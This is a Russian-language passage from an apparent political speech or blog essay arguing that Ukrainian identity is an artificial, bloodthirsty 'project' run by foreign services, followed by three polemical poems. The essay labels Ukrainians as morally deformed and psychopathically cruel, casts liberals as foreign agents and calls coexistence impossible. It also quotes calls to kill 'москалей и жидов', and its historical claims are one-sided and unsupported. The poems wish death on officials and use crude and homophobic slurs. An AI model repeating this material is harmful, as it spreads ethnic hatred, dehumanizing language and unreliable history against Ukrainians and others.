Он появился не в Советской России. Он появился по другую сторону границы. С которой «украинизация» тоже шла, хоть и по другим причинам. И там украинизация продолжала быть кровавой. ОУН, образованный в 1929 году (и с самого начала поддерживаемый целым букетом спецслужб, от Абвера, до англичан), развернул настоящий террор против представителей малоросской интеллигенции, активных граждан и просто людей, не желавших украинизироваться. Кровь полилась снова. Селекция «новых украинцев» продолжилась теми же методами, которые использовали австрияки. Представители ОУН своё политическое кредо озвучивали без стеснения. В их брошюре, выпущенной в 1929 году (сразу после создания) прямо говорилось:

«Требуется кровь, дадим море крови! Требуется террор - сделаем его адским! Не стыдитесь убивать, грабить, поджигать, в борьбе нет этики!» (с).

И пути построения «новой украинской государственности» они обозначали предельно откровенно. Вот, к примеру, строки из их бандеровской песни, которую они активно пропагандировали и внедряли в своих рядах:

«Буде крові по коліна - буде вільна Україна» (с).

Хотя, в этом они были правы: такое искусственное и фантастическое государство, как «самостійна Україна», можно было построить только с помощью колоссальной крови. Морей крови. Океанов крови. К чему они, собственно, и стремились. Фактически, они строили некое фэнтези. Только это был даже не Толкиен, а Джордж Мартин: крови по ноздри и ничего идеального. Вообще ничего, только ненависть к москалям и тёмная жажда приобщения к некой «европейскости», изначально понимаемой, как материальное благополучие. В такой ситуации жажда крови становится просто иррациональной – она сама становится тем самым «идеальным. Вещью в себе. Самоцелью. Потому, что иначе такое чёрное фэнтези не построить.







Этим потом активно пользовались немцы, которые, при всей суровости своей политики на оккупированных территориях СССР, сами старались не мараться, а при малейшей возможности поручали самую грязную работу им – своим «верноподданным украинцам», которых таки смогли создать (сбылась мечта австрияков). Ярчайший пример - Хатынь. Именно при них образ «типичного украинствующего» и оформился окончательно. Все, кто курировал «украинский проект» после, пользовались уже «готовым продуктом». А пользовались активно. После войны, к примеру, на территории Канады был создан настоящий бандеровский заповедник. Плантация. Теплица, из которой всё новые и новые дозы «украинства» организованно и эшелонировано перебрасывались через границу. И этот проект до сих пор действует, что мы и видим воочию на Майдане.

Какими чертами можно охарактеризовать «украинство», исходя из того, что я вы только что узнали.

Прежде всего, «украинство» - это моральное уродство. Потому, что такая упорная и методичная «отрицательная селекция человеческого материала» не могла сформировать ничего другого априори.

Кроме того, «украинство» - это иррациональное стремление примкнуть к неким «европейским ценностям». И не важно, что эти ценности либо фальшивы, либо мертвы и разлагаются. Признать это для «украинствующего» равноценно экзистенциальной катастрофе. Метафизическому Чернобылю. Потому, что тогда всё для него теряет смысл. И он будет рваться в этот морг во что бы то ни стало, даже если там всё превратится в радиоактивную пустыню. Это рефлекс, вбитый в подсознание.

Ещё «украинство» - это экзальтированная истеричность и крайняя, психопатическая жестокость. Её в них формировали долго и упорно, натаскивая, как бойцовых собак, на человеческую кровь. Сначала австрияки, потом немцы, потом англо-американские спецслужбы.

А ещё «украинство» - это накалённая, яростная русофобия. Этот вопрос требует отдельного объяснения. Совершенно очевидно, что эта русофобия, накалённая и яростная, всегда была главным содержанием т.н. «украинской национальной идеи». Без неё эта самая идея просто сдуется, как дырявый контрацептив, и выглядеть будет не менее уродливо и опустошённо. И так же понятно, что присутствовало это начало в «украинской идее» с самого её рождения. Но почему так? На то есть три причины, друзья. Во-первых, чтобы доказать одной части народа, что другая часть народа им не братья, необходимо оборвать даже не культурные, а эмоциональные связи. Сделать же это можно только при помощи умышленного нагнетания ненависти. Никак иначе быстро сделать этого не получится. Ради этого выдумываются басни о «москальской оккупации», о «москальских зверствах», о «москальском голодоморе». Да хоть о марсианах, лишь бы посеять эту ненависть. Что и делалось с самого начала и до сих пор является ключевым, несущим элементом т.н. «украинского национального дискурса». Во-вторых, всегда стоит помнить, что и создателями «украинского проекта», и его кураторами всегда были и являются неистовые, зоологические русофобы. Одни поляки чего стоили. Но ведь были ещё и немцы. Да, именно так, и не надо говорить ерунды о том, что немцы на самом деле нас всегда любили, но не любили наше политическое руководство. Ничего подобного! Кайзер Вильгельм в своих дневниках писал, что ненавидит всё славянское до дрожи и что его даже по этому поводу совесть мучает, так как оно "не по-христиански", но поделать с собой он ничего не может. И эту глубинную, экстатическую эмоцию питало подавляющее большинство немецкого истеблишмента, немецкой интеллигенции, да и простых бюргеров тоже. И австрияки были отнюдь не лучше. Такие люди, как Райнер Мария Рильке, были, скорее, исключением из правил. Причём, ОЧЕНЬ исключительным исключением. Русофобия пропитала весь немецкий политический спектр, от Кайзера, до Фридриха Энгельса. А ведь это абсолютно полярные персонажи. И эту же накалённую, пышущую жаром русофобию они передали своим подопечным "украинствующим" - будущим петлюровцам и бандеровцам. И далее всячески её нагнетали и наращивали. Не случайно главным принципом бандеровщины стало: "Убить русского в себе!". Ну, и, в-третьих, я не буду оригинальным, если скажу, что нет большей ненависти, чем та, которую испытывает предатель к тому, кого он предал. Ведь если «украинствующие» признают свою неправоту, согласятся с тем, что они, всё же, русские, то кем они сами себя после этого ощущать будут? После всего того, что они сотворили за минувшие 100 лет. Механизм самовоспроизводства зла редко отказывает сам по себе, без посторонней помощи.

В качестве подтверждения этих выводов о сущности украинства, приведу вам одну совершенно замечательную цитату, друзья:

«…Образование и культура будут принадлежать лишь титульной нации, а не свиньям, которые разговаривают быдлячим татаро-мордовским языком. В демократической Украине каждый настоящий патриот будет иметь рабов.
Пусть ледащая быдлота работает, так как москаль — не человек... Он может жить только ради работы на настоящего хозяина — украинца. Не захочет — собаке собачья смерть! Москаль должен добросовестной работой довести свое право жить среди нас» (с).

Как вы думаете, когда и кем это было сказано? Петлюрой? Бандерой? 100 лет назад? Ничего подобного Это было сказано в 2002 году одним из лидеров УНА-УНСО Андреем Шкилем. А автором текста (спитч-райтером) была Татьяна Черновол. Та самая, которую недавно «невинно избили» какие-то добрые люди.

Но продолжение этой цитаты не менее восхитительно! Потому, что переносит нас из истории вопроса в современность:

«Молодежь Одессы! У нас есть большое дело — освободить от москальской оккупации наших братьев, которые страдают на Дону и Кубани. Вступайте в ряды УНА-УНСО и положите свою жизнь ради свободы Украины!
Смерть москалям и жидам! Слава героям! Слава Ющенко!» (с).

Вот это уже интересно не с исторической точки зрения. Это уже актуальность, друзья.

Дело в том, что «украинский проект» далеко не завершён. Прежде всего, он не завершён в самой Малороссии: большинство её жителей до сих пор в быту говорят по-русски, думают по-русски и видят сны по-русски. И граждане, вроде г-на Шкиля и ему подобных, прямо говорят, что надо вырезать две трети «омоскаленного населения», чтоб «украина» наконец состоялась. Как я уже говорил, жажда крови у них стала самоцелью. Они ещё крови далеко не напились. Потому, что бандеровец русской кровью не насытится никогда. У кого-нибудь есть сомнения в том, что они действительно воплотят свою угрозу, если дорвутся до такой возможности? У меня нет. А ведь именно к этой возможности, в числе прочего, они и рвутся на майдане. Снова запустить маховик кровавого бандеровского кошмара, только теперь уже от Луганска, до Ужгорода.

Но это ещё не всё. Мы начали с того, что «украинский проект» задумывался своими авторами, как оружие против русского мира. И это оружия готовятся применить снова. Снова начинаются попытки выделения из русского народа очередных «украинствующих». Только теперь уже в куда более крупных и серьёзных масштабах. Ну, по крайней мере, замыслы у них поистине глобальные.

Идёт это по двум основным направлениям.

Первое, можно сказать, традиционное: «украинское». То самое, которое озвучил г-н Шкиль. Речь идёт о том, чтобы создать некую «русскую автономию» на территориях Дона, Кубани и некоторых областей центральной России. Я писал об этом большие статьи и очень хорошо владею вопросом. На первый взгляд звучит фантастически, но и «украинство», по началу, воспринималось как «прикол». Вот только что-то нам уже давно не смешно. Но почему такое название: «русская автономия»? Для бандеровцев это явно не типично. А дело в том, что граждане бандеровцы и, главное, их кураторы (ответственные за дальнейшее развитие «украинского проекта») прекрасно понимают, что никаким военным или политическим путём этих земель им от России не отторгнуть. И они начали весьма своеобразную игру. Суть её в следующем: муссируя тему угнетения и национального подавления русских правящим режимом, кавказского беспредела и унижения титульной нации на данных территориях, они пытаются вбрасывать мысль о том, что гораздо лучше русским будет житься в составе «самостiйной» и «незалежной». В рамках той самой «русской автономии», которую они из этих земель намереваются соорудить в составе «ненькi України». Более того, они даже утверждают, что русские этих земель – не русские вовсе, а те же представители «великої ураїнський нації», порабощённые и ассимилированные «клятими москалями». Они даже название изобрели: вместо «русские» - «руськие». Правда, используют его, пока что, довольно дозировано. А в качестве исторического ориентира используют фигуру князя Даниила Галицкого, как символа борьбы «руських» против «ордынско-москальского ига».

Под это дело резко перестроились даже весьма одиозные персонажи из числа современных Бандеровцев. Например, пан Дмитро Корчинский. Вот, что он теперь говорит:

«Интересно было наблюдать за тем, как кто-то из наших чернявых татарковатых львовян (таких много в Галиции) доказывал какому-то россиянину, что россияне вообще не славяне и не арийцы, что они происходят от смеси татар с угрофинами и самоедами. Как на грех россиянин оказался вполне нордической внешности: высокого роста, блондин, голубоглазый, с твердым как у скандинава лицом. Все зло в мире от объективной реальности» (с).

Знаете, я аж заслушался. Вот только это тот самый персонаж, который до этого воевал в Чечне на стороне наших врагов и потом с упоением рассказывал, как резал горло русским военнопленным. А ещё это ближайший соратник того самого г-на Шкиля, рассуждавшего о том, что москали должны быть рабами «господ-украинцев». И цель у персонажа не изменилась: он по прежнему жаждет уничтожения всего русского, только в Чечне он пытался сделать это одним способом, а сейчас пытается другим. И русофобия его никуда не делась.

Более того, как бы они не ругались внутри своего бандеровского сообщества (Корчинский, Голтвянский, Тягнибок), но все они при этом делают одно дело. Весь фокус в том, что бандеровщина организована по т.н. «матричной структуре». Я поясню. Типов структурных организаций на сегодня существует два. Первый – иерархический. Он классический, можно сказать. Суть его в построении жёстких вертикально подчинённых структур. Так была выстроена КПСС, так же выстроена любая государственная машина. Это некая пирамида с чёткими и очевидными механизмами управления. Второй же тип более современный и характерный для современного западного общества и, особенно, для его спецслужб (что характерно в данном случае). Это и есть та самая «матрица». Суть её в том, что она не вертикальна, а горизонтальна. Вместо структур чёткой субординации в ней существует общее поле, поделённое на ячейки. В этих ячейках сидят некие покемоны – в каждой свой. И говорят на самые разные голоса. Один покемон русских хвалит и, вроде бы, «искренне сочувствует». Другой покемон изрыгает проклятья на головы «клятых москалей». И это может ввести в заблуждение. Но надо помнить, что перед тобой именно враждебная матрица и в главном она едина: все эти покемоны хотят одного и того же, но добиваются разными средствами и выполняют разные функции. Они могут даже ссориться друг с другом. А могут даже ссориться всерьёз. Но цель их ОДНА! И вы её знаете.

Но, помимо «русской автономии» есть ещё и другое направление. Более масштабное: это организация новых русских этнических сепаратизмов от Санкт-Петербурга, до Тихого Океана. Знаете, я написал целый цикл статей на эту тему. И это были большие статьи. Так что я очень хорошо владею вопросом и если говорить об этом подробно, то доклад получится длинной в несколько часов. А потому я просто кратко их вам перечислю. А заодно кое-что вам процитирую. Просто для того, чтоб вы почувствовали, что это то же самое «украинское оружие». Ощутили некую метафизическую вонь. Смрад, который во всех этих очагах этносепаратистской заразы один и тот же.

И сразу оговорюсь: пока что всех этих ребят воспринимают, как городскисумасшедших. И влияния на реальную политику у них столько же. Но и «украинствующие» когда-то были всего лишь забавными любителями лингвистических извращений. Так что угроза здесь вполне очевидна. Это не «просто странные люди» - это болезнь в зачаточной стадии. Той, где её можно победить относительно просто.

Начнём с родного: с казакийства. Казачьего сепаратизма, если кто не в курсе. В конце 2012 года в Ростове-на-Дону был издан «русско-казачий разговорник», после чего проведён митинг за «признание казачьего народа». Митинг реально собрал аж 80 человек. Но это не суть. Оцените звучание этого «казачьего языка»:
Согласно этому «разговорнику», выражение «скажите, пожалуйста» на истинном казачьем прозвучит как «столкуйте за ради». А вот фраза «вас не затруднит сказать?» переводится как «колись нядюжи тужна прогуторить за?». Этот новояз, от которого сами настоящие казаки в шоке, вам ничего не напоминает?
Главная идея: пришли злые москали и оккупировали нас. Ненавидим москалей!


Едем дальше: поморский сепаратизм. Это уже не Юг, а Север. Тоже издан «словарь поморского языка». И тоже язык этот мне что-то смутно напоминает. К примеру, выражение: "сегодня много белых грибов", звучит как: "полно обабков то сейгод".
Главная идея: пришли злые москали и оккупировали нас. Ненавидим москалей!

Далее, уральский сепаратизм. Изобретение уральского языка как раз обсуждается. И, самое прелестное: они этот язык заранее переводят на латиницу. Призрак Павло Свия бродит по России и подвывает. В языке полно словечек типа «барогозить» и «зырить», а «попить пиво» и вовсе звучит, как «посидеть за сиськой стрельца». Прелестно, друзья.
Главная идея: пришли злые москали и оккупировали нас. Ненавидим москалей!

Следующий сепаратизм, мой любимый: сибирский. Там не только уже изданы все словари, но и во всю идут попытки начать на этом новоязе изъясняться. Пока, правда, только в интернете. Но у них уже разрабатываются «упражнения» по обучению этому языку и даже вещала интернет радиостанция, которая эти упражнения транслировала. Звучит новояз тоже смутно знакомо. Фраза: «Ребёнок – маленький человек», по-сибиряцки читается как: «Детьо - людь в мальсве»(с).
Главная идея: пришли злые москали и оккупировали нас. Ненавидим москалей!

А ещё есть «независимая Ингрия» и «гордые ингерманландцы». Словарь тоже практически готов.
Ну, и главная идея: пришли злые москали и оккупировали нас. Ненавидим москалей!

Самое замечательное в этом, друзья, то, что всё это появилось практически ОДНОВРЕМЕННО в разных концах страны. На Вольном Дону, в Сибири, на Урале, на родной земле Ломоносова и даже в Питере. Я не верю в совпадения. Тем более такие.

Кроме того, если сравнивать образцы этих очаровательных новоязов, то складывается очень стойкое впечатление, что у них вообще один автор. Ну, или коллектив авторов. Я, когда этим занимался, то каждый образец так настойчиво сравнивал с "казачьим гутарником". Ощущение, что все они исходят из одного источника, просто неизбывно. А когда оно ещё и накладывается на одновременность их появления на широких просторах Родины, то и вовсе любые сомнения отпадают. По крайней мере у меня.

Возникает резонный вопрос: кому это надо и зачем? Ведь очевидно же, что это явный курс на ликвидацию России, как таковой. А значит на ликвидацию самого Русского Мира и русского народа, как такового. Ну, давайте посмотрим на то, кто является адвокатами и пропагандисты всего этого. Опять же, просто перечислю тех, кто всё это пиарит и идеологически обосновывает:
1. Станислав Белковский. Либеральный политолог. Вы все его знаете.
2. Юрий Пивоваров. Это уже официальный и пропутинский кремлёвский либерал-западник.
3. Олег Кашин. Либеральный журналист. А вот этот позиционируется, как антипутинец.
4. Дмитрий Быков (Зильбертруд). Ещё один либерал.
5. Валерия Ильинична Новодворская. Без комментариев.

И далее список можно продолжать и продолжать. Там будут и запутинцы, и антипутинцы. Но общая черта всех их, помимо политического крышевания сепаратизма, одна – все они либералы. Это здорово напоминает всё ту же матричную структуру: много говорящих покемонов, а цель одна.

А теперь просто ответьте: кто является хозяином наших либералов? Их НАСТОЯЩИМ хозяином. Вот именно... Я не стану здесь конкретизировать название этого хозяина. Я крайне далёк от конспирологической терминологии а-ля "масоны/клаксоны/патиссоны". Или даже рептилоиды. За всем этим НЕ КО МНЕ. Я скажу иначе: хозяевами наших либералов являются силы, находящиеся за пределами России и имеющие собственные экономические и политические интересы, несовместимые с существованием русской нации и Русского Государства в любом виде. Кто-то из них служит этим силам морально, являясь их идеологическим рабом. А кто-то и за весьма более ощутимые материальные эквиваленты. Но общая суть от этого не меняется.

И я хочу, чтобы до каждого здесь присутствующего дошло на полном серьёзе: НАС ХОТЯТ ДОБИТЬ. Против Русского Мира снова разворачивается спецоперация по типу «украинского проекта». И сам «украинский проект» сейчас пытаются перезагрузить заново. А его перезагрузка возможна только кровавым путём. Без крови этот автомобиль не едет.

А значит вывод прост и очевиден: сосуществование Русского Мира и «украинского проекта» невозможно. Или мы повернём этот проект вспять, или с его помощью «вспять» повернут нас. А чтобы это сделать, нам надо просто взять и громко сказать и себе, и всему миру: МЫ РУССКИЕ И НИКТО ЭТОГО НЕ ИЗМЕНИТ. Мы были, есть и останемся русскими. Что бы ни говорила всякая мразь и чем бы ни соблазняла. Потому, что наша нация – это главное, что у нас есть. И враг это понимает. Он прекрасно знает: отнимет у нас нашу нацию – отнимет и всё остальное. Потому, что разобщённое стадо гораздо легче и грабить, и порабощать. А методов у него в избытке.

А закончить свой доклад я хочу тем же, с чего начал. Гетман Богдан Хмельницкий был гораздо мудрее тех, кто сегодня сидит на его месте, и понимал, что СВОБОДНЫМИ МОЖНО БЫТЬ ТОЛЬКО ВМЕСТЕ! А порознь можно быть только рабами. Это понимание досталось ему не бесплатно. Точно так же, как совсем не бесплатно достаётся оно нам сейчас. 360 лет назад на Переяславской раде произошло Первое Великое Воссоединение Русского Народа. А второе ещё впереди!

СЛАВА РОССИИ!



Павел Раста.АВТОР

Источники:

http://haile-rastafari.livejournal.com/87649.html
http://haile-rastafari.livejournal.com/87502.html

Глядя в телевизор...

Те же там же и так же то же...
Под собою страны не чуя,
Наблюдая все эти рожи,
Одного лишь теперь хочу я.
Не мечтаю уже о лете,
Не хочу ни в купцы, ни в князи -
Я хочу одного на свете:
Я хочу, чтоб вы сдохли, мрази.

Все, что до тошноты знакомы,
Все, что лезут в глаза и уши -
От верховного лысогнома
До последней блядюшки ксюши,

От блажащей массовки снизу
До верхушки в гэбульных ряхах,
От державного жополиза
До эстрадного жопотряса.

Я хочу увидать их в морге,
Чтоб прозектор кромсал их тушки -
От наследника-недозорге
До сосательной журналюшки.

От потешных зиц-атаманов
До героев конька и мата,
От вождя молодых баранов
До дворового дипломата.

От рубителей прежней щепки
До строгателей новой стружки,
От носителя главной кепки
До звонящей в эфир старушки.

Наступает он, зрим и четок -
Край, когда одного лишь надо:
Не зарплат, не жратвы, не шмоток,
А того, чтоб вы сдохли, гады.

Вместе с вашей холуйской спесью,
Вместе с вашей вселенской ложью,
Вместе с вашей блевотной лестью,
Вместе с вашей рычащей вошью.

Не ослепли мы, не оглохли,
Сколь ни бейтесь в пиар-угаре -
Мы ответим вам: чтоб вы сдохли!
Чтоб вы все передохли, твари!

ноябрь 2007.

Юрий Нестеренко.

---

АНТИХРИСТОВА БИРЖА

Мне кажется, совсем недавно
Всё было тихо, мирно, славно.
И были в нашей стороне
И труд, и честь всегда в цене.
Но вот, в Кремле другие люди,
Что поклоняются Иуде.
И кажется сегодня мне,
Что души их в большой цене.
От бесконтрольности ликуют,
Страной отчаянно торгуют,
И злато отдают в карман
Кумиру из заморских стран.
И грянула иная вера.
Переменилась атмосфера.
И стало модным торговать
И воровать, и убивать.
И по стране, разруху сея,
Звучит порочная идея.
Она антихристом дана –
«На всё имеется цена».
Цена на воздух и на воду,
И на хорошую погоду,
На землю, недра и леса,
На выборные голоса.
А люди ведь порой не знают,
Какую цену избирают.
В бутылке объединена
На губернаторов цена.
Народ голодный не в обиде,
Что платят цену в жидком виде.
Не знает, что на болтуна
Иная, скрытая цена.
Посчитано довольно быстро
Почём сегодня пост министра,
Во что встаёт публичный мат,
И сколько стоит депутат.
Во что покупка чести встала,
Почём продажа генерала,
Какой врачу нести презент,
Почём сегодня президент.
Иль цену, скажем для примера,
Простого милиционера.
Во сколько встанет футболист,
И сколько стоит журналист.
В какую цену приговоры,
И сколько стоят прокуроры.
Определили, слышал я,
Во что обходится судья.
И сколько стоит память предков,
А для бродяг – цена объедков.
И сколько нынче стоит мэр,
Или почём пенсионер.
На многое, чего найдётся,
Что без зазренья продаётся,
Уже имеется цена.
Такие нынче времена.
Но те, кто грабят и воруют,
Своими душами торгуют.
И знай, что лишь твоя душа
Для них не стоит ни гроша.
И совесть ничего не стоит,
И никого не беспокоит.
Она сегодня не нужна.
Отсутствует её цена.
Но есть в стране иные люди.
Не все же кланялись Иуде.
И потому не погрешу,
Что к ним себя я отношу.
И сколько сатана не бьётся,
Моя душа не продаётся.
Хоть, может быть, она грешна,
Но не продажная она.
И верю я, дождёмся срока
Сверженья гнусного порока.
И будет определена
Измены полная цена.

ИНОК
Июль 2005 г.

* * *

---

Разрушителям России

Вы!
Пожиратели народа
И поджигатели войны.
Всегда враги людского рода,
Апологеты сатаны.
Гнилые правящие касты
И члены тайных орденов.
Ростовщики и педерасты
И разрушители основ.
Звероподобные мутанты
Всемирной дьявольской оси,
Временщики и оккупанты
Святоотеческой Руси.
И вы!
Бесящиеся с жиру
Дегенераты всех мастей,
Ворующие по ранжиру
Под покровительством властей.
Порочность ваша не случайно
Определяет подлеца.
Но ваш секрет давно не тайна
И маска сорвана с лица.
Сегодня вы обогатитесь
Плодом не вашего труда,
Внушив себе, что не боитесь
Вы человечьего суда.
Но час возмездия настанет,
Когда любой презренный вор
И пред судом народа встанет
И свой получит приговор.
Но тихо день за днем крадется.
Пройдет не так уж много лет.
Держать ведь каждому придется
Пред Высшим Судией ответ.
За все дела на этом свете
Вам по заслугам воздадут.
За вас ответят ваши дети
И грянет Страшный Божий Суд.

ИНОК
Март 1998 г.